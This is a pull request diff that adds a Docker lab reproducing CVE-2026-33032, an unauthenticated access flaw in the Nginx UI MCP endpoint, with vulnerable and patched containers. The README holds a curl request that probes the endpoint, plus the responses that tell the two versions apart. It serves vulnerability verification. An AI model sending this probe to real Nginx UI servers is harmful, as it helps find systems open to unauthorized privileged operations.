Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 37 additions & 0 deletions nginx-ui/CVE-2026-33032/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# Authentication bypass in Nginx UI MCP endpoint (CVE-2026-33032)

Nginx UI versions 2.3.3 and earlier expose the /mcp_message endpoint without authentication when the IP allowlist is empty. A remote unauthenticated attacker can invoke privileged Model Context Protocol (MCP) operations.


## Vulnerable Version
### Setup
Start an NginxUI version 2.3.3:

```bash
docker compose up -d nginx-ui-vuln
```

Comment thread
sanjaymahajan14 marked this conversation as resolved.
### Testing the vulnerability
```
curl -X POST localhost:8080/mcp_message -d "{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"bcd\",\"version\":\"1.0\"}},\"id\":1}"
```
Response:
```
{"jsonrpc":"2.0","id":null,"error":{"code":-32602,"message":"Missing sessionId"}}
```
## Safe Version
### Setup
Start an NginxUI version 2.3.4:

```bash
docker compose up -d nginx-ui-safe
```

Comment thread
sanjaymahajan14 marked this conversation as resolved.
### Testing the vulnerability
```
curl -X POST localhost:8081/mcp_message -d "{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"abc\",\"version\":\"1.0\"}},\"id\":1}"
```
Response:
```
{"message":"Authorization failed"}
```
42 changes: 42 additions & 0 deletions nginx-ui/CVE-2026-33032/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
services:
nginx-ui-vuln:
image: uozi/nginx-ui:v2.3.3
container_name: nginx-ui-vuln
restart: always
# Expose the ports safely to the outside world
ports:
- "8080:80" # Nginx public web traffic proxy
- "9000:9000" # Nginx UI web interface dashboard
environment:
- NGINX_UI_SERVER_RUN_MODE=release
- NGINX_UI_IGNORE_DOCKER_SOCKET=true
- NGINX_UI_SERVER_SKIP_INSTALLATION=true
# Explicitly keep the UI listening internally on 9000
- NGINX_UI_SERVER_PORT=9000
volumes:
- ./data:/etc/nginx-ui
- ./nginx:/etc/nginx
- ./ssl:/etc/ssl
- ./logs:/var/log/nginx
- ./www:/var/www/html
nginx-ui-safe:
image: uozi/nginx-ui:v2.3.4
container_name: nginx-ui-safe
restart: always
# Expose the ports safely to the outside world
ports:
- "8081:80" # Nginx public web traffic proxy
- "9001:9000" # Nginx UI web interface dashboard
environment:
- NGINX_UI_SERVER_RUN_MODE=release
- NGINX_UI_IGNORE_DOCKER_SOCKET=true
- NGINX_UI_SERVER_SKIP_INSTALLATION=true
# Explicitly keep the UI listening internally on 9000
- NGINX_UI_SERVER_PORT=9000
volumes:
- ./data:/etc/nginx-ui
- ./nginx:/etc/nginx
- ./ssl:/etc/ssl
- ./logs:/var/log/nginx
- ./www:/var/www/html